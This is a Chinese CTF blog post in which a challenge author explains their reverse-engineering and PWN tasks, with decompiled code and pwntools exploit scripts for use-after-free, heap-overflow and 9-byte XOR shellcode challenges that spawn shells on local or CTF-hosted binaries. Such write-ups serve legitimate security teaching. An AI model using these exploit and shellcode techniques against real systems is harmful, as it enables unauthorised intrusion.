前言:
最近好久没更新博客了,一直在本地更新,然后转到博客很多图片啥的嫌麻烦,最近暂时不会更新的很勤,过段时间再说吧~
本次比赛我就出了一个逆向签到跟PWN,题目难度倒是不难,只是为了契合愚人杯的主题在有些地方加了一些奇奇怪怪的东西,但是不影响做题,可以说逻辑捋清楚了都挺简单的。出的题有点烂,被师傅们杀疯了。
REVERSE
easy_pyc
简单的签到,将其丢到pyc在线反编译,再写个逆算法
exp
flag = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03',
'\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r',
b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b',
b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
l = len(flag)
flag = map(ord,flag)
for i in range(l - 3 ,0,-1):
flag[i-1] = flag[i-1]^flag[i]
code = ''
for i in range(l):
num = (flag[i]-i) % 114514
code += chr(num)
print code
PWN
easy_checkin
出题思路:
签到的话这里是一个简单的UAF漏洞,然后给出后门函数,后门函数为_libc_start__main(),同时简单的混淆了一下,当然仅仅是小小的恶搞一下,为了不使后门函数被那么容易的找到,对程序进行了静态编译。
当然采用了静态编译的话,很明显的就会有mprotect函数,因此这题的解法可能不唯一。
解题思路:
checksec&file
32位程序,部分开启RELRO,关闭PIE
运行程序看一下:
很明显的看到是堆题,那个1234是倒序的,但是稍微试一下就能发现,其实功能是正常的,还是正常的1234。只是它显示为4321。这个不影响,(在IDA中也能看清楚整个程序的逻辑其实是正常的)
IDA查看函数:
emmm,这里草率了,正常来说做题我看到静态编译找main函数的话懒得找直接搜了一下main函数,然后后门函数一下就出来了,尴尬...
main():
程序主要就是三个功能:add、del、show
menu():
add_note():
程序最多可以添加 5 个 note(截图这里没截全)。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
del_note():
单纯进行了 free,而没有设置为 NULL,明显的有UAF漏洞
print_note():
简单的根据给定的 note 的索引来输出对应索引的 note 的内容。
(当然,这里还做了一个混淆,如果不理逻辑,直接进行操作,你成功它会给你回显失败,而失败会回显成功,也是一个简单的混淆,不过也不难,理清楚逻辑都不影响。)
那么思路就很明确了:我们可以修改 note 的 put 字段为后门函数的地址,从而实现在执行 print note 的时候执行后门函数进行get shell。
exp
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./Fool_check-in')
elf = ELF('./Fool_check-in')
__libc_start__main = elf.sym['__libc_start__main']
def add(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def free(idx):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def show(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
add(32, "aaaa")
add(32, "ddaa")
free(0)
free(1)
add(8, p32(__libc_start__main))
show(0)
io.interactive()
其他解法我这里没有尝试,因为仅仅是签到,这个能直接利用就讲这种方法了,感兴趣的可以自行研究下。
easy_sql
出题思路:
为了契合愚人杯主题,我想起了之前做过的一些比较有趣的题,并对其进行改编,难度并不大。
这里还降低了难度,不需要竞争就能读取到flag
解题思路:
checksec&file
64位程序部分开启RELRO,关闭PIE
运行程序:
IDA查看main函数:
可以看到auth_user首先创建了一个0x20大小的堆
validate_demo_activation_code():
可以看到这里存在堆溢出
接着告诉我们有效查询是read、write,并且只能访问 /home/ctf/database.txt!
继续跟进f_0():
后面f_1~4都是在讲关于read与write之间的关系,但是由于这题降低了很大的难度,因此到这里我们大概就能读取到flag了
首先堆溢出身份验证结构,然后使写入线程从允许的数据库中读取,再使用read读取flag文件即可
exp
from pwn import *
#io = process('./sql')
io = remote('pwn.challenge.ctf.show',28103)
io.sendline("seyseyseyseyseyseyseyseyseyseyaasey")
io.sendline("write")
io.sendline("/home/ctf/database.txt")
io.sendline("read")
io.sendline("/flag")
io.sendline("0")
io.interactive()
easy_login
出题思路:
同上一题,也是降低了一定的难度。
解题思路:
checksec&file
64位保护全开,动态编译。
IDA查看函数,很容易的看到存在后门函数,那么显然题目难度就低了许多。
main():
跟进sub_1EBA():
看着像一堆用户名之类的东西,再下面还存在"login success"
继续跟进sub_E11():
这里给出了两个判断,如果v1='r' 则进入sub_B1A(),如果v1='l'则进入sub_C1A();
分别跟进这两个函数
sub_B1A():
sub_C1A():
int sub_C1A()
{
__int64 v0; // rsi
const char *v1; // rsi
int result; // eax
char v3; // ST0B_1
int i; // [rsp+Ch] [rbp-4h]
printf("Username: ");
fflush(stdout);
v0 = (unsigned int)n;
fgets((char *)ptr + 64 * (signed __int64)dword_203040, n, stdin);
printf("Password: ", v0);
fflush(stdout);
fgets((char *)ptr + 64 * (signed __int64)dword_203040 + 30, n, stdin);
strtok((char *)ptr + 64 * (signed __int64)dword_203040, "\n");
v1 = "\n";
strtok((char *)ptr + 64 * (signed __int64)dword_203040 + 30, "\n");
for ( i = 0; i < dword_203040; ++i )
{
v1 = (char *)ptr + 64 * (signed __int64)i;
if ( !strcmp("CTFshow-admin", v1) )
{
v1 = (char *)ptr + 64 * (signed __int64)i + 30;
if ( !strcmp("CTFshow-password", v1) && *((_DWORD *)ptr + 16 * (signed __int64)i + 15) == 7823732 )
{
printf("Succesfully logged in as user: %s", (char *)ptr + 64);
result = i;
dword_20303C = i;
return result;
}
}
}
puts("Incorrect credentials, would you like to register instead?");
printf("[y/n]: ", v1);
fflush(stdout);
v3 = getchar();
result = getchar();
if ( v3 == 'y' )
result = sub_B1A();
return result;
}
然后回到:return sub_1C02(v2);
跟进sub_1C02():
继续跟进sub_154B():
void __fastcall sub_154B(char *a1, const char *a2, char *a3, char *a4, _QWORD *a5)
{
_QWORD *v5; // [rsp+8h] [rbp-38h]
char *s; // [rsp+10h] [rbp-30h]
const char *v7; // [rsp+18h] [rbp-28h]
signed int j; // [rsp+3Ch] [rbp-4h]
signed int i; // [rsp+3Ch] [rbp-4h]
v7 = a3;
s = a4;
v5 = a5;
if ( !strcmp("Fool", a1) )
{
if ( !strcmp("*", a2) )
{
puts("Available categories:");
sub_EBA(0, -1, v5);
}
else if ( *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
{
if ( *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !strcmp(a2, (const char *)v5[6 * i]) )
{
if ( *v7 )
{
if ( !strcmp(v7, (const char *)v5[6 * i + 1]) )
{
strtok(s, "\n");
if ( !strcmp(s, (const char *)v5[6 * i + 2]) )
{
printf("Listeners:");
printf(" %ld\n", *(_QWORD *)v5[6 * i + 4]);
}
else if ( !strcmp(s, (const char *)v5[6 * i + 3]) )
{
printf("Listeners:");
printf(" %ld\n", *(_QWORD *)(v5[6 * i + 4] + 8LL));
printf("Secret:");
printf(" %s\n", v5[6 * i + 5]);
sub_EA0();
}
else
{
puts("Songs:");
printf(" %s\n", v5[6 * i + 2]);
printf(" %s\n", v5[6 * i + 3]);
}
}
else
{
puts("Artist:");
printf(" %s\n", v5[6 * i + 1]);
}
}
else
{
puts("Artist:");
printf(" %s\n", v5[6 * i + 1]);
}
}
}
}
}
else
{
for ( j = 0; j <= 3; ++j )
{
if ( !strcmp(a2, (const char *)v5[6 * j]) )
{
if ( *v7 )
{
if ( !strcmp(v7, (const char *)v5[6 * j + 1]) )
{
strtok(s, "\n");
if ( !strcmp(s, (const char *)v5[6 * j + 2]) )
{
printf("Listeners:");
printf(" %ld\n", *(_QWORD *)v5[6 * j + 4]);
}
else if ( !strcmp(s, (const char *)v5[6 * j + 3]) )
{
printf("Listeners:");
printf(" %ld\n", *(_QWORD *)(v5[6 * j + 4] + 8LL));
}
else
{
puts("Songs:");
printf(" %s\n", v5[6 * j + 2]);
printf(" %s\n", v5[6 * j + 3]);
}
}
else
{
puts("Artist:");
printf(" %s\n", v5[6 * j + 1]);
}
}
else
{
puts("Artist:");
printf(" %s\n", v5[6 * j + 1]);
}
}
}
}
}
else
{
strtok(a1, "\n");
if ( !strcmp(a1, s2) )
sub_21ED();
}
}
继续跟进sub_EBA(0, -1, v5);
int __fastcall sub_EBA(signed int a1, int a2, _QWORD *a3)
{
int result; // eax
_QWORD *v4; // ST00_8
_QWORD *v5; // ST00_8
_QWORD *v6; // ST00_8
_QWORD **v7; // ST00_8
_QWORD *v8; // ST00_8
_QWORD *v9; // ST00_8
_QWORD *v10; // ST00_8
_QWORD **v11; // ST00_8
if ( a2 != -1 || *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) == 7823732 )
{
if ( a2 != -1 || *((_DWORD *)ptr + 16 * (signed __int64)dword_20303C + 15) != 7823732 )
{
result = a1;
if ( a1 == 1 )
{
result = printf("%s", a3[6 * a2 + 1], a3);
}
else if ( a1 > 1 )
{
if ( a1 == 3 )
{
result = printf("%s", a3[6 * a2 + 2], a3);
}
else if ( a1 == 4 )
{
result = printf("%ld", *(_QWORD *)a3[6 * a2 + 4], a3);
}
}
else if ( !a1 )
{
result = printf("%s", a3[6 * a2], a3);
}
}
else
{
result = a1;
if ( a1 == 1 )
{
printf(" %s\n", a3[1], a3);
printf(" %s\n", v9[7]);
printf(" %s\n", v9[13]);
printf(" %s\n", v9[19]);
result = printf(" %s\n", v9[25]);
}
else if ( a1 > 1 )
{
if ( a1 == 3 )
{
printf(" %s\n", a3[2], a3);
printf(" %s\n", v10[8]);
printf(" %s\n", v10[14]);
printf(" %s\n", v10[20]);
result = printf(" %s\n", v10[26]);
}
else if ( a1 == 4 )
{
printf(" %ld\n", *(_QWORD *)a3[4], a3);
printf(" %ld\n", *v11[10]);
printf(" %ld\n", *v11[16]);
printf(" %ld\n", *v11[22]);
result = printf(" %ld\n", *v11[28]);
}
}
else if ( !a1 )
{
printf(" %s\n", *a3, a3);
printf(" %s\n", v8[6]);
printf(" %s\n", v8[12]);
printf(" %s\n", v8[18]);
result = printf(" %s\n", v8[24]);
}
}
}
else
{
result = a1;
if ( a1 == 1 )
{
printf(" %s\n", a3[1], a3);
printf(" %s\n", v5[7]);
printf(" %s\n", v5[13]);
result = printf(" %s\n", v5[19]);
}
else if ( a1 > 1 )
{
if ( a1 == 3 )
{
printf(" %s\n", a3[2], a3);
printf(" %s\n", v6[8]);
printf(" %s\n", v6[14]);
result = printf(" %s\n", v6[20]);
}
else if ( a1 == 4 )
{
printf(" %ld\n", *(_QWORD *)a3[4], a3);
printf(" %ld\n", *v7[10]);
printf(" %ld\n", *v7[16]);
result = printf(" %ld\n", *v7[22]);
}
}
else if ( !a1 )
{
printf(" %s\n", *a3, a3);
printf(" %s\n", v4[6]);
printf(" %s\n", v4[12]);
result = printf(" %s\n", v4[18]);
}
}
return result;
}
可以看到在这里调用了后门函数,也就是说我们满足它的条件即可get shell
那我们倒着推回去把逻辑理清楚即可
当然需要一点点耐心,不过理解清楚了其实就很简单了,这里有一个难点就是使用了艺术字,写到博客里还发不出去,其他的捋清楚就没啥问题了。
exp
baby_pad
出题思路:
一开始我是打算出一个off-by-null漏洞,但是考虑到是愚人杯,出题也没有那么中规中矩。然后左改右改就改成了一个非常简单的题了,不过问题不大,怎么开心怎么来,弄了一堆的东西,实际上捋清楚逻辑就是一个跟签到一样的UAF漏洞,然后为了提升大家做PWN的信心,还加了一个小游戏在里面,如果实在不会利用,玩玩游戏也能得到shell,所以说是比签到还简单。
解题思路:
checksec&file
64位程序,仅关闭PIE,动态编译
IDA查看main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rsi
const char *v4; // rdi
size_t v5; // rax
signed int v6; // eax
signed int v7; // eax
int result; // eax
size_t v9; // rax
size_t v10; // rax
int c; // [rsp+4h] [rbp-1Ch]
int i; // [rsp+8h] [rbp-18h]
int v13; // [rsp+Ch] [rbp-14h]
int v14; // [rsp+10h] [rbp-10h]
int v15; // [rsp+14h] [rbp-Ch]
unsigned __int64 v16; // [rsp+18h] [rbp-8h]
v16 = __readfsqword(0x28u);
puts("Happy April Fool's Day, sometimes seeing is not believing!");
v14 = 0;
write_n(&unk_402510, 1LL);
write_n(&title, 1141LL);
v3 = 1LL;
v4 = (const char *)&unk_402510;
write_n(&unk_402510, 1LL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln("+--------------------------------------------------------------------+\n", 71LL);
write_n(" # INDEX: ", 12LL);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12LL);
if ( qword_603048[2 * (i + 16LL)] )
{
v5 = strlen(qword_603048[2 * (i + 16LL)]);
writeln(qword_603048[2 * (i + 16LL)], v5);
}
v3 = 1LL;
v4 = (const char *)&unk_402510;
writeln(&unk_402510, 1LL);
}
v13 = 0;
v6 = getcmd(v4, v3);
v14 = v6;
if ( v6 == 68 )
{
write_n("(INDEX)>>> ", 11LL);
v13 = read_int("(INDEX)>>> ", 11LL);
if ( v13 > 0 && v13 <= 4 )
{
if ( *(_QWORD *)&pad[16 * (v13 - 1 + 16LL)] )
{
v13 = 4;
error_message();
return result;
}
v3 = 8LL;
v4 = "Not used";
writeln("Not used", 8LL);
}
else
{
v3 = 13LL;
v4 = "Invalid index";
writeln("Invalid index", 13LL);
}
}
else if ( v6 > 'D' )
{
if ( v6 != 'E' )
{
if ( v6 == 'Q' )
continue;
LABEL_43:
v3 = 17LL;
v4 = "No such a command";
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL);
v13 = read_int("(INDEX)>>> ", 11LL);
if ( v13 > 0 && v13 <= 4 )
{
if ( *(_QWORD *)&pad[16 * (v13 - 1 + 16LL)] )
{
c = 48;
strcpy(pad, qword_603048[2 * (v13 - 1 + 16LL)]);
while ( toupper(c) != 89 )
{
write_n("CONTENT: ", 9LL);
v9 = strlen(pad);
writeln(pad, v9);
write_n("(CONTENT)>>> ", 13LL);
v10 = strlen(qword_603048[2 * (v13 - 1 + 16LL)]);
read_until(pad, v10, 10LL);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until(&c, 1LL, 10LL);
}
strcpy((char *)qword_603048[2 * (v13 - 1 + 16LL)], pad);
v3 = 8LL;
v4 = "\nEdited.";
writeln("\nEdited.", 8LL);
}
else
{
v3 = 8LL;
v4 = "Not used";
writeln("Not used", 8LL);
}
}
else
{
v3 = 13LL;
v4 = "Invalid index";
writeln("Invalid index", 13LL);
}
}
else
{
if ( v6 != 'A' )
goto LABEL_43;
while ( v13 <= 3 && *(_QWORD *)&pad[16 * (v13 + 16LL)] )
++v13;
if ( v13 == 4 )
{
v3 = 17LL;
v4 = "No space is left.";
writeln("No space is left.", 17LL);
}
else
{
v15 = -1;
write_n("(SIZE)>>> ", 10LL);
v15 = read_int("(SIZE)>>> ", 10LL);
if ( v15 <= 0 )
{
v7 = 1;
}
else
{
v7 = v15;
if ( (unsigned __int64)v15 > 0x100 )
v7 = 256;
}
v15 = v7;
*(_QWORD *)&pad[16 * (v13 + 16LL)] = v7;
qword_603048[2 * (v13 + 16LL)] = (const char *)malloc(v15);
if ( !qword_603048[2 * (v13 + 16LL)] )
{
writerrln("[!] No memory is available.", 27LL);
_exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(qword_603048[2 * (v13 + 16LL)], v15, 10LL);
v3 = 7LL;
v4 = "\nAdded.";
writeln("\nAdded.", 7LL);
}
}
}
while ( v14 != 'Q' );
return 0;
}
这里逻辑比较多,主要就讲重要部分了
程序最外层主逻辑是有三个功能,分别为:add delete edit
其中我们可以看到在delete中,当
v13 = 4;
会进入error_message();
也就是说当我们add 4个内容,然后再删除第4个即可进入error_message()函数,
当然此时我们还不知道此函数是干嘛的
跟进error_message():
在这里可以看到当选6的时候会进入Game函数:
Game():
然后case 3会进入foolish()函数:
当v2 = 1时又进入game函数:
根据函数内容,先是生成一个10000以内的随机数,然后会根据你的输入的数进行比较,大了回显B(Big)小了回显S(Small),如果相等就给你一个shell
那么我们很容易的知道这就是一个猜大小的游戏,猜对了就给你shell。
这是不是很简单呢?
重新捋一下逻辑:
最外层是
| [A] Add
| [D] Delete
| [E] Edit
| [Q] Quit
有这么四个功能,然后进入到error_message函数中
其实这就是签到中的几个函数,可能稍微改动了一点点,但是实际功能是一样的漏洞点也存在,且也是存在后门函数的,那么实际上我们利用第一题的方法来打,是完全没有问题的(当然需要稍微改动一点点)
exp1:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_pad')
elf = ELF('./baby_pad')
__libc_start__main = elf.sym['__libc_start__main']
def Add():
io.sendlineafter("(CMD)>>> ","A")
io.sendlineafter("(SIZE)>>>","1")
io.sendlineafter("(CONTENT)>>>","1")
def Del():
io.sendlineafter("(CMD)>>> ","D")
io.sendlineafter("(INDEX)>>> ","4")
def add(size, content):
io.sendline("1")
io.sendline(str(size))
io.sendline(content)
def free(idx):
io.sendline("2")
io.sendline(str(idx))
def show(idx):
io.sendline("3")
io.sendline(str(idx))
Add()
Add()
Add()
Add()
Del()
add(32, "aaaa")
add(32, "ddaa")
free(0)
free(1)
payload = p64(__libc_start__main)
add(8, payload)
show(0)
io.send('\n')
io.recv()
io.interactive()
当然,如果你不想这么做,直接找哪里调用了后门函数去玩游戏获得shell,也是完全没问题的:
exp:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_pad')
#io = remote('pwn.challenge.ctf.show',28113)
elf = ELF('./baby_pad')
__libc_start__main = elf.sym['__libc_start__main']
def Add():
io.sendlineafter("(CMD)>>> ","A")
io.sendlineafter("(SIZE)>>>","1")
io.sendlineafter("(CONTENT)>>>","1")
def Del():
io.sendlineafter("(CMD)>>> ","D")
io.sendlineafter("(INDEX)>>> ","4")
def add(size, content):
io.sendline("1")
io.sendline(str(size))
io.sendline(content)
def free(idx):
io.sendline("2")
io.sendline(str(idx))
def show(idx):
io.sendline("3")
io.sendline(str(idx))
Add()
Add()
Add()
Add()
Del()
io.sendline('6')
sleep(0.5)
io.sendline('3')
sleep(0.5)
io.sendline('1')
io.interactive()
是不是非常简单呢?
baby_shellcode
出题思路:
9字节shellcode
解题思路:
checksec&file
64位保护全关,且有可读可写可执行的段,静态编译
IDA查看函数:
可以看到仅有非常少的函数,进行了一些系统调用
查看汇编代码:
先是调用了sub_4000E1
跟进:
能读入9字节
然后又调用了sub_4000F9
这里需要理解一下,首先先是一堆数字的数组,然后再计算,再用a1中的值^=输入的值,最后再调用a1。我们可以理解为它将你输入的变成shellcode再进行调用。
那么我们就可以直接尝试
exp:
from pwn import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
io = process('./baby_shellcode')
shellcode = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3'
io.send(shellcode)
io.interactive()
确实能读到flag
也可以先写一个read,再读入更长的shellcode来进行get shell
exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./baby_shellcode')
key = [
0xb3,0x91,0x7f,0xdd,0x62,0x81,0x11,0x6a,
0x90,0x8c,0xdb,0xae,0x70,0xa7,0x3f,0xff,
0x3a,0xc3,0xe6,0x32,0xff,0x5e,0x46,0x63,
0x9a,0x14,0xb7,0x9e,0xad,0xf6,0x09,0xdc,
0x33,0x2f,0x35,0xc6,0x6f,0x1a,0x7f,0xff,
0x1b,0xc2,0xb5,0xb7,0xb7,0xc2,0xd1,0x75,
]
def xor(str):
res = ''
for i in range(len(str)):
res += chr(ord(str[i])^key[i])
return res
shellasm = '''
pop rbp
pop rax
pop rdi
mov dl,0xff
syscall
jmp rsi
'''
shellcode = asm(shellasm)
payload = xor(shellcode)
io.send(payload)
shellasm = '''
mov rax,59
mov rdi,0x600170
xor rsi,rsi
xor rdx,rdx
syscall
'''
shellcode = '\x90'*0x1e + asm(shellasm)
payload = shellcode.ljust(0x3a,'a')+'/bin/sh\x00'
io.send(payload)
io.interactive()
了解到有大佬用其他的:
pop rdx;
pop rdi;
pop rax;
syscall;
寄存器的值从栈上取,然后再系统调用一次read,再将shellcode输进去,也是没有问题的。
总的来说大佬们都tql!
最后一道pwn好像和tiny_backdoor_v1_hackover_2016有点像
大佬,能不能发一下你用的IDA下载链接
用的比较久了,链接找不到了,网上这些应该有一大把,可以找一下